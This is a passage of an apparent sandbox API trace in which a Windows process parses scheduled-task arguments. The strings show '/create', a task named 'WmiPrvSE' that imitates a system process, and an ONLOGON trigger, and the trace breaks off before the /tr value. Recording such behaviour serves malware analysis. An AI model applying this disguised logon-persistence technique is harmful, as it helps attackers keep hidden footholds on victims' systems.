cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="it") returned 2 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="et") returned 2 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="k") returned 1 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="du") returned 2 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="ri") returned 2 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.353] lstrlenW (lpString="z") returned 1 [0088.353] GetThreadLocale () returned 0x409 [0088.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.353] lstrlenW (lpString="f") returned 1 [0088.353] GetThreadLocale () returned 0x409 [0088.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.353] lstrlenW (lpString="v1") returned 2 [0088.353] GetThreadLocale () returned 0x409 [0088.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.353] lstrlenW (lpString="xml") returned 3 [0088.353] GetThreadLocale () returned 0x409 [0088.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.353] lstrlenW (lpString="ec") returned 2 [0088.353] GetThreadLocale () returned 0x409 [0088.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.353] lstrlenW (lpString="rl") returned 2 [0088.353] GetThreadLocale () returned 0x409 [0088.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.353] lstrlenW (lpString="delay") returned 5 [0088.353] GetThreadLocale () returned 0x409 [0088.353] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.353] lstrlenW (lpString="np") returned 2 [0088.353] SetLastError (dwErrCode=0x0) [0088.353] SetLastError (dwErrCode=0x0) [0088.353] lstrlenW (lpString="/create") returned 7 [0088.353] lstrlenW (lpString="-/") returned 2 [0088.353] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.353] lstrlenW (lpString="create") returned 6 [0088.353] lstrlenW (lpString="create") returned 6 [0088.353] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.353] lstrlenW (lpString="create") returned 6 [0088.353] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.353] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|create|") returned 8 [0088.354] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|create|") returned 8 [0088.354] lstrlenW (lpString="|create|") returned 8 [0088.354] lstrlenW (lpString="|create|") returned 8 [0088.354] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0088.354] SetLastError (dwErrCode=0x0) [0088.354] SetLastError (dwErrCode=0x0) [0088.354] SetLastError (dwErrCode=0x0) [0088.354] lstrlenW (lpString="/tn") returned 3 [0088.354] lstrlenW (lpString="-/") returned 2 [0088.354] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.354] lstrlenW (lpString="create") returned 6 [0088.354] lstrlenW (lpString="create") returned 6 [0088.354] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.354] lstrlenW (lpString="tn") returned 2 [0088.354] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.354] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|create|") returned 8 [0088.354] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.354] lstrlenW (lpString="|create|") returned 8 [0088.354] lstrlenW (lpString="|tn|") returned 4 [0088.354] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0088.354] SetLastError (dwErrCode=0x490) [0088.354] lstrlenW (lpString="?") returned 1 [0088.354] lstrlenW (lpString="?") returned 1 [0088.354] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.354] lstrlenW (lpString="tn") returned 2 [0088.354] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.354] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|?|") returned 3 [0088.354] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.354] lstrlenW (lpString="|?|") returned 3 [0088.354] lstrlenW (lpString="|tn|") returned 4 [0088.355] SetLastError (dwErrCode=0x490) [0088.355] lstrlenW (lpString="s") returned 1 [0088.355] lstrlenW (lpString="s") returned 1 [0088.355] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.355] lstrlenW (lpString="tn") returned 2 [0088.355] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.355] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|s|") returned 3 [0088.355] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.355] lstrlenW (lpString="|s|") returned 3 [0088.355] lstrlenW (lpString="|tn|") returned 4 [0088.355] SetLastError (dwErrCode=0x490) [0088.355] lstrlenW (lpString="u") returned 1 [0088.355] lstrlenW (lpString="u") returned 1 [0088.355] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.355] lstrlenW (lpString="tn") returned 2 [0088.355] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.355] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|u|") returned 3 [0088.355] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.355] lstrlenW (lpString="|u|") returned 3 [0088.355] lstrlenW (lpString="|tn|") returned 4 [0088.355] SetLastError (dwErrCode=0x490) [0088.355] lstrlenW (lpString="p") returned 1 [0088.355] lstrlenW (lpString="p") returned 1 [0088.355] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.355] lstrlenW (lpString="tn") returned 2 [0088.355] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.355] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|p|") returned 3 [0088.355] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.355] lstrlenW (lpString="|p|") returned 3 [0088.355] lstrlenW (lpString="|tn|") returned 4 [0088.355] SetLastError (dwErrCode=0x490) [0088.356] lstrlenW (lpString="ru") returned 2 [0088.356] lstrlenW (lpString="ru") returned 2 [0088.356] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.356] lstrlenW (lpString="tn") returned 2 [0088.356] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.356] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ru|") returned 4 [0088.356] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.356] lstrlenW (lpString="|ru|") returned 4 [0088.356] lstrlenW (lpString="|tn|") returned 4 [0088.356] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0088.356] SetLastError (dwErrCode=0x490) [0088.356] lstrlenW (lpString="rp") returned 2 [0088.356] lstrlenW (lpString="rp") returned 2 [0088.356] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.356] lstrlenW (lpString="tn") returned 2 [0088.356] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.356] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rp|") returned 4 [0088.356] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.356] lstrlenW (lpString="|rp|") returned 4 [0088.356] lstrlenW (lpString="|tn|") returned 4 [0088.356] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0088.356] SetLastError (dwErrCode=0x490) [0088.356] lstrlenW (lpString="sc") returned 2 [0088.356] lstrlenW (lpString="sc") returned 2 [0088.356] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.356] lstrlenW (lpString="tn") returned 2 [0088.356] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.356] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.356] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.356] lstrlenW (lpString="|sc|") returned 4 [0088.357] lstrlenW (lpString="|tn|") returned 4 [0088.357] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0088.357] SetLastError (dwErrCode=0x490) [0088.357] lstrlenW (lpString="mo") returned 2 [0088.357] lstrlenW (lpString="mo") returned 2 [0088.357] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.357] lstrlenW (lpString="tn") returned 2 [0088.357] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.357] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|mo|") returned 4 [0088.357] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.357] lstrlenW (lpString="|mo|") returned 4 [0088.357] lstrlenW (lpString="|tn|") returned 4 [0088.357] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0088.357] SetLastError (dwErrCode=0x490) [0088.357] lstrlenW (lpString="d") returned 1 [0088.357] lstrlenW (lpString="d") returned 1 [0088.357] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.357] lstrlenW (lpString="tn") returned 2 [0088.357] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.357] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|d|") returned 3 [0088.357] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.357] lstrlenW (lpString="|d|") returned 3 [0088.357] lstrlenW (lpString="|tn|") returned 4 [0088.357] SetLastError (dwErrCode=0x490) [0088.357] lstrlenW (lpString="m") returned 1 [0088.357] lstrlenW (lpString="m") returned 1 [0088.357] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.357] lstrlenW (lpString="tn") returned 2 [0088.357] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.357] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|m|") returned 3 [0088.358] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.358] lstrlenW (lpString="|m|") returned 3 [0088.358] lstrlenW (lpString="|tn|") returned 4 [0088.358] SetLastError (dwErrCode=0x490) [0088.358] lstrlenW (lpString="i") returned 1 [0088.358] lstrlenW (lpString="i") returned 1 [0088.358] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.358] lstrlenW (lpString="tn") returned 2 [0088.358] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.358] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|i|") returned 3 [0088.358] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.358] lstrlenW (lpString="|i|") returned 3 [0088.358] lstrlenW (lpString="|tn|") returned 4 [0088.358] SetLastError (dwErrCode=0x490) [0088.358] lstrlenW (lpString="tn") returned 2 [0088.358] lstrlenW (lpString="tn") returned 2 [0088.358] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.358] lstrlenW (lpString="tn") returned 2 [0088.358] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.358] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.358] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.358] lstrlenW (lpString="|tn|") returned 4 [0088.358] lstrlenW (lpString="|tn|") returned 4 [0088.358] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0088.358] SetLastError (dwErrCode=0x0) [0088.358] SetLastError (dwErrCode=0x0) [0088.358] lstrlenW (lpString="WmiPrvSE") returned 8 [0088.358] lstrlenW (lpString="-/") returned 2 [0088.358] StrChrIW (lpStart="-/", wMatch=0x57) returned 0x0 [0088.358] SetLastError (dwErrCode=0x490) [0088.358] SetLastError (dwErrCode=0x490) [0088.358] SetLastError (dwErrCode=0x0) [0088.358] lstrlenW (lpString="WmiPrvSE") returned 8 [0088.359] StrChrIW (lpStart="WmiPrvSE", wMatch=0x3a) returned 0x0 [0088.359] SetLastError (dwErrCode=0x490) [0088.359] SetLastError (dwErrCode=0x0) [0088.359] lstrlenW (lpString="WmiPrvSE") returned 8 [0088.359] SetLastError (dwErrCode=0x0) [0088.359] SetLastError (dwErrCode=0x0) [0088.359] lstrlenW (lpString="/sc") returned 3 [0088.359] lstrlenW (lpString="-/") returned 2 [0088.359] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.359] lstrlenW (lpString="create") returned 6 [0088.359] lstrlenW (lpString="create") returned 6 [0088.359] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.359] lstrlenW (lpString="sc") returned 2 [0088.359] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.359] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|create|") returned 8 [0088.359] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.359] lstrlenW (lpString="|create|") returned 8 [0088.359] lstrlenW (lpString="|sc|") returned 4 [0088.359] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0088.359] SetLastError (dwErrCode=0x490) [0088.359] lstrlenW (lpString="?") returned 1 [0088.359] lstrlenW (lpString="?") returned 1 [0088.359] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.359] lstrlenW (lpString="sc") returned 2 [0088.359] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.359] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|?|") returned 3 [0088.359] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.359] lstrlenW (lpString="|?|") returned 3 [0088.359] lstrlenW (lpString="|sc|") returned 4 [0088.359] SetLastError (dwErrCode=0x490) [0088.359] lstrlenW (lpString="s") returned 1 [0088.360] lstrlenW (lpString="s") returned 1 [0088.360] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.360] lstrlenW (lpString="sc") returned 2 [0088.360] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.360] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|s|") returned 3 [0088.360] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.360] lstrlenW (lpString="|s|") returned 3 [0088.360] lstrlenW (lpString="|sc|") returned 4 [0088.360] SetLastError (dwErrCode=0x490) [0088.360] lstrlenW (lpString="u") returned 1 [0088.360] lstrlenW (lpString="u") returned 1 [0088.360] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.360] lstrlenW (lpString="sc") returned 2 [0088.360] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.360] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|u|") returned 3 [0088.360] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.360] lstrlenW (lpString="|u|") returned 3 [0088.360] lstrlenW (lpString="|sc|") returned 4 [0088.360] SetLastError (dwErrCode=0x490) [0088.360] lstrlenW (lpString="p") returned 1 [0088.360] lstrlenW (lpString="p") returned 1 [0088.360] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.360] lstrlenW (lpString="sc") returned 2 [0088.360] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.360] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|p|") returned 3 [0088.360] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.360] lstrlenW (lpString="|p|") returned 3 [0088.360] lstrlenW (lpString="|sc|") returned 4 [0088.360] SetLastError (dwErrCode=0x490) [0088.361] lstrlenW (lpString="ru") returned 2 [0088.361] lstrlenW (lpString="ru") returned 2 [0088.361] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.361] lstrlenW (lpString="sc") returned 2 [0088.361] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.361] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ru|") returned 4 [0088.361] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.361] lstrlenW (lpString="|ru|") returned 4 [0088.361] lstrlenW (lpString="|sc|") returned 4 [0088.361] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0088.361] SetLastError (dwErrCode=0x490) [0088.361] lstrlenW (lpString="rp") returned 2 [0088.361] lstrlenW (lpString="rp") returned 2 [0088.361] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.361] lstrlenW (lpString="sc") returned 2 [0088.361] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.361] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rp|") returned 4 [0088.361] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.361] lstrlenW (lpString="|rp|") returned 4 [0088.361] lstrlenW (lpString="|sc|") returned 4 [0088.361] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0088.361] SetLastError (dwErrCode=0x490) [0088.361] lstrlenW (lpString="sc") returned 2 [0088.361] lstrlenW (lpString="sc") returned 2 [0088.361] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.361] lstrlenW (lpString="sc") returned 2 [0088.361] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.361] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.361] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.361] lstrlenW (lpString="|sc|") returned 4 [0088.362] lstrlenW (lpString="|sc|") returned 4 [0088.362] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0088.362] SetLastError (dwErrCode=0x0) [0088.362] SetLastError (dwErrCode=0x0) [0088.362] lstrlenW (lpString="ONLOGON") returned 7 [0088.362] lstrlenW (lpString="-/") returned 2 [0088.362] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0088.362] SetLastError (dwErrCode=0x490) [0088.362] SetLastError (dwErrCode=0x490) [0088.362] SetLastError (dwErrCode=0x0) [0088.362] lstrlenW (lpString="ONLOGON") returned 7 [0088.362] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0088.362] SetLastError (dwErrCode=0x490) [0088.362] SetLastError (dwErrCode=0x0) [0088.362] GetProcessHeap () returned 0xf0000 [0088.362] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10d6e0 [0088.362] _memicmp (_Buf1=0x10d6e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.362] lstrlenW (lpString="ONLOGON") returned 7 [0088.362] GetProcessHeap () returned 0xf0000 [0088.362] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x10) returned 0x10d700 [0088.362] lstrlenW (lpString="ONLOGON") returned 7 [0088.362] lstrlenW (lpString=" \x09") returned 2 [0088.362] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0088.362] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0088.362] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0088.362] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0088.362] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0088.362] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0088.362] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0088.362] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0088.362] GetLastError () returned 0x0 [0088.362] lstrlenW (lpString="ONLOGON") returned 7 [0088.362] lstrlenW (lpString="ONLOGON") returned 7 [0088.362] SetLastError (dwErrCode=0x0) [0088.363] SetLastError (dwErrCode=0x0) [0088.363] lstrlenW (lpString="/tr") returned 3 [0088.363] lstrlenW (lpString="-/") returned 2 [0088.363] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.363] lstrlenW (lpString="create") returned 6 [0088.363] lstrlenW (lpString="create") returned 6 [0088.363] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.363] lstrlenW (lpString="tr") returned 2 [0088.363] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.363] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|create|") returned 8 [0088.363] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.363] lstrlenW (lpString="|create|") returned 8 [0088.363] lstrlenW (lpString="|tr|") returned 4 [0088.363] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0088.363] SetLastError (dwErrCode=0x490) [0088.363] lstrlenW (lpString="?") returned 1 [0088.363] lstrlenW (lpString="?") returned 1 [0088.363] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.363] lstrlenW (lpString="tr") returned 2 [0088.363] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.363] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|?|") returned 3 [0088.363] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.363] lstrlenW (lpString="|?|") returned 3 [0088.363] lstrlenW (lpString="|tr|") returned 4 [0088.363] SetLastError (dwErrCode=0x490) [0088.363] lstrlenW (lpString="s") returned 1 [0088.363] lstrlenW (lpString="s") returned 1 [0088.363] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.363] lstrlenW (lpString="tr") returned 2 [0088.363] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.364] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|s|") returned 3 [0088.364] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.364] lstrlenW (lpString="|s|") returned 3 [0088.364] lstrlenW (lpString="|tr|") returned 4 [0088.364] SetLastError (dwErrCode=0x490) [0088.364] lstrlenW (lpString="u") returned 1 [0088.364] lstrlenW (lpString="u") returned 1 [0088.364] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.364] lstrlenW (lpString="tr") returned 2 [0088.364] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.364] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|u|") returned 3 [0088.364] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.364] lstrlenW (lpString="|u|") returned 3 [0088.364] lstrlenW (lpString="|tr|") returned 4 [0088.364] SetLastError (dwErrCode=0x490) [0088.364] lstrlenW (lpString="p") returned 1 [0088.364] lstrlenW (lpString="p") returned 1 [0088.364] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.364] lstrlenW (lpString="tr") returned 2 [0088.364] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.364] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|p|") returned 3 [0088.364] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.364] lstrlenW (lpString="|p|") returned 3 